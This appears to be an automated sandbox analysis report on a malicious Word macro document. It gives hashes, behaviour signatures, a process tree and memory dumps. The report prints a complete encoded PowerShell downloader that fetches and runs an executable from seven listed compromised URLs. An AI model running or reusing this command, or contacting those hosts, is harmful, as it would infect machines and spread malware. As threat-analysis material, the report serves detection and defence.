Analysis

  • max time kernel
    121s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20231129-en
  • resource tags

    arch:x64arch:x86image:win7-20231129-enlocale:en-usos:windows7-x64system
  • submitted
    30-05-2024 17:32

General

  • Target

    84ea962935a2e7b879fee2679702928a_JaffaCakes118.doc

  • Size

    169KB

  • MD5

    84ea962935a2e7b879fee2679702928a

  • SHA1

    88e5596e70584d820a617e13d8ecbf5c3c767aff

  • SHA256

    0dbad315cddc667cb29f30d02de18c3d5ff0547e0814c5170510ba1a11766b7a

  • SHA512

    8bfa006c4898fb80eee818acf642794eecfc2455fa6f2bb49b679b0cbb2cb1cacafd90fb3ed6b7832267ceb2d551d7ec025bd44c436b6a12f32120c15c8e4694

  • SSDEEP

    1536:vGGGGGGGGGG2xJLEt+LaaGGGGGGGGGGjLo9xiP+rIiZo7dLeqH74OC+pO4am35H0:trfrzOH98ipgFlqfi

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://theccwork.com/mail.theccwork.com/IJp/

exe.dropper

https://www.retirementprofessional.com/wp-admin/tjQ/

exe.dropper

https://writingfromling.live/wp-admin/GL/

exe.dropper

http://shahqutubuddin.org/ix/

exe.dropper

https://jumpstart.store/wp-admin/q/

exe.dropper

https://aidenshirt.com/wp-admin/e6f/

exe.dropper

https://edenrug.store/wp-admin/H/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 6 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\84ea962935a2e7b879fee2679702928a_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2784
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2548
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -encod JABUADMAaABmAHMAOAB5AD0AKAAoACcARwA2ACcAKwAnAHIAJwArACcAMQA0AG0AJwApACsAJwB3ACcAKQA7AC4AKAAnAG4AZQB3ACcAKwAnAC0AaQB0AGUAbQAnACkAIAAkAEUAbgBWADoAVQBzAEUAcgBwAHIATwBGAEkATABFAFwAbQAzAFkAZgBhADAAOQBcAGYARQBkAG0AUQBzAFUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAFIAZQBDAFQAbwBSAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBgAEMAYABVAGAAUgBpAFQAeQBwAHIATwBgAFQATwBjAG8AbAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAMgAnACkAKwAoACcALAAgACcAKwAnAHQAJwApACsAJwBsACcAKwAoACcAcwAnACsAJwAxADEAJwApACsAJwAsACAAJwArACgAJwB0ACcAKwAnAGwAcwAnACkAKQA7ACQAUgBjAG0AOABjAGIAegAgAD0AIAAoACgAJwBLACcAKwAnADIAbgAnACkAKwAnAGcAcQAnACsAKAAnADkAcgAnACsAJwBoACcAKQApADsAJABVAHoAZgBzADUAXwBnAD0AKAAoACcARgBmACcAKwAnAGwAJwApACsAJwA1ACcAKwAoACcAdABxACcAKwAnAHYAJwApACkAOwAkAEQAZwAzADgAawB2AGYAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACcAegAnACsAKAAnAG8ASgAnACsAJwBNADMAeQAnACkAKwAoACcAZgBhADAAOQAnACsAJwB6AG8AJwApACsAKAAnAEoAJwArACcARgBlAGQAbQBxAHMAdQAnACsAJwB6ACcAKQArACcAbwAnACsAJwBKACcAKQAuACIAcgBFAGAAcABgAEwAQQBDAEUAIgAoACgAWwBDAEgAYQBSAF0AMQAyADIAKwBbAEMASABhAFIAXQAxADEAMQArAFsAQwBIAGEAUgBdADcANAApACwAWwBzAHQAcgBpAE4AZwBdAFsAQwBIAGEAUgBdADkAMgApACkAKwAkAFIAYwBtADgAYwBiAHoAKwAoACcALgBlACcAKwAnAHgAZQAnACkAOwAkAEcAOABmAHIAaQBoADgAPQAoACcATAAnACsAKAAnADkAMQAnACsAJwBlAG8AJwApACsAJwB5ADUAJwApADsAJABGADYAagBuAGwAagA0AD0AJgAoACcAbgAnACsAJwBlAHcALQBvAGIAagBlAGMAJwArACcAdAAnACkAIABOAGUAdAAuAHcARQBiAGMAbABJAEUATgB0ADsAJABBAG8AawBmADQAZgBpAD0AKAAnAGgAdAAnACsAJwB0ACcAKwAnAHAAJwArACgAJwA6ACcAKwAnAC8ALwB0AGgAJwArACcAZQAnACkAKwAnAGMAJwArACgAJwBjAHcAbwAnACsAJwByACcAKwAnAGsALgBjAG8AJwApACsAKAAnAG0ALwBtAGEAJwArACcAaQAnACkAKwAoACcAbAAnACsAJwAuAHQAaABlAGMAJwApACsAKAAnAGMAJwArACcAdwBvACcAKwAnAHIAawAuAGMAbwAnACkAKwAnAG0AJwArACgAJwAvAEkAJwArACcASgBwACcAKwAnAC8AKgBoAHQAdAAnACkAKwAnAHAAJwArACgAJwBzADoALwAvAHcAdwB3AC4AcgBlAHQAaQByAGUAbQBlACcAKwAnAG4AJwArACcAdABwACcAKwAnAHIAbwAnACsAJwBmAGUAcwAnACkAKwAoACcAcwBpAG8AJwArACcAbgAnACkAKwAoACcAYQBsACcAKwAnAC4AYwBvAG0ALwB3ACcAKwAnAHAALQBhAGQAbQBpAG4AJwArACcALwAnACsAJwB0AGoAUQAnACsAJwAvACoAaAB0ACcAKQArACcAdABwACcAKwAnAHMAOgAnACsAKAAnAC8AJwArACcALwB3AHIAaQAnACkAKwAoACcAdABpAG4AJwArACcAZwBmACcAKQArACgAJwByAG8AbQAnACsAJwBsAGkAJwApACsAKAAnAG4AJwArACcAZwAuACcAKQArACgAJwBsACcAKwAnAGkAdgAnACkAKwAoACcAZQAnACsAJwAvAHcAJwApACsAKAAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACsAJwBuAC8ARwBMACcAKQArACcALwAnACsAKAAnACoAaAB0ACcAKwAnAHQAJwApACsAJwBwACcAKwAoACcAOgAvAC8AcwBoAGEAaABxAHUAdAB1AGIAdQAnACsAJwBkAGQAJwArACcAaQAnACsAJwBuACcAKQArACcALgAnACsAJwBvACcAKwAnAHIAJwArACgAJwBnACcAKwAnAC8AaQB4AC8AJwApACsAKAAnACoAaAB0ACcAKwAnAHQAcABzADoALwAnACsAJwAvAGoAdQAnACsAJwBtACcAKQArACgAJwBwAHMAdABhAHIAdAAuAHMAJwArACcAdAAnACkAKwAoACcAbwAnACsAJwByAGUALwAnACsAJwB3AHAALQBhAGQAJwApACsAKAAnAG0AaQAnACsAJwBuAC8AJwArACcAcQAvACoAaAAnACkAKwAnAHQAdAAnACsAKAAnAHAAJwArACcAcwA6AC8ALwAnACsAJwBhACcAKQArACgAJwBpAGQAZQAnACsAJwBuAHMAJwArACcAaABpACcAKQArACcAcgB0ACcAKwAoACcALgBjAG8AbQAnACsAJwAvACcAKwAnAHcAcAAnACkAKwAoACcALQBhACcAKwAnAGQAbQAnACsAJwBpAG4ALwBlADYAJwApACsAKAAnAGYALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAcwA6ACcAKQArACgAJwAvACcAKwAnAC8AZQBkACcAKwAnAGUAbgByACcAKQArACgAJwB1AGcALgAnACsAJwBzAHQAJwArACcAbwByAGUALwAnACkAKwAoACcAdwAnACsAJwBwACcAKwAnAC0AYQBkAG0AaQBuACcAKQArACgAJwAvACcAKwAnAEgALwAnACkAKQAuACIAcwBQAEwAYABpAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABBADgAMQBpAHQAOQBwAD0AKAAnAEkAJwArACgAJwBnAHYAaABrADUAJwArACcANwAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFIAYwB5ADUAOQBlAGQAIABpAG4AIAAkAEEAbwBrAGYANABmAGkAKQB7AHQAcgB5AHsAJABGADYAagBuAGwAagA0AC4AIgBEAGAATwB3AE4ATABvAEEARABgAEYASQBgAGwAZQAiACgAJABSAGMAeQA1ADkAZQBkACwAIAAkAEQAZwAzADgAawB2AGYAKQA7ACQAVQBjAGcAYgBsADIAYQA9ACgAJwBVACcAKwAoACcAeABiACcAKwAnADcAawBiACcAKQArACcAZQAnACkAOwBJAGYAIAAoACgAJgAoACcARwAnACsAJwBlAHQAJwArACcALQBJAHQAZQBtACcAKQAgACQARABnADMAOABrAHYAZgApAC4AIgBsAGUAbgBnAGAAVABIACIAIAAtAGcAZQAgADMAMQAxADAAMQApACAAewAmACgAJwBJACcAKwAnAG4AdgBvAGsAZQAtACcAKwAnAEkAdABlACcAKwAnAG0AJwApACgAJABEAGcAMwA4AGsAdgBmACkAOwAkAEEANQB3ADEAbQB1AG0APQAoACgAJwBIAGYAJwArACcAYgB4ADEAaQAnACkAKwAnAHgAJwApADsAYgByAGUAYQBrADsAJABMAG0AbABzADMAXwBrAD0AKAAnAEQAJwArACcAcQAnACsAKAAnADgANwB1ACcAKwAnAHcAawAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAQQA2AGsAYQBqAHUAcQA9ACgAJwBXAHYAJwArACgAJwBiAHYAJwArACcAXwAnACkAKwAnADAAYwAnACkA
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2576

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      7793f3ba01f2ab78e91252143cd2cb10

      SHA1

      16fdc05838a70aabe6b2d2491f07728fded8507c

      SHA256

      7297c704105336f4cd028c9c0fae69de6fd65caf3865c0bfef30d5e292062f65

      SHA512

      1335ceeb0f346b77ba29e9ecff02da7cb342537004ffced723ec4b4da279fa0f77f68ea5350f0782c7868f7211369fee92c021c21bc2f39450aba0bdd229e77d

    • memory/2576-40-0x0000000001F00000-0x0000000001F08000-memory.dmp

      Filesize

      32KB

    • memory/2576-39-0x000000001B5D0000-0x000000001B8B2000-memory.dmp

      Filesize

      2.9MB

    • memory/2784-15-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-9-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-13-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-26-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-10-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-11-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-12-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-20-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-22-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-21-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-18-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-19-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-17-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-16-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-14-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-0-0x000000002F261000-0x000000002F262000-memory.dmp

      Filesize

      4KB

    • memory/2784-8-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-27-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-7-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-25-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-24-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-23-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-29-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-31-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-32-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-30-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-28-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-33-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-6-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-2-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB

    • memory/2784-45-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB

    • memory/2784-47-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-48-0x0000000000410000-0x0000000000510000-memory.dmp

      Filesize

      1024KB

    • memory/2784-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2784-64-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2784-65-0x00000000717FD000-0x0000000071808000-memory.dmp

      Filesize

      44KB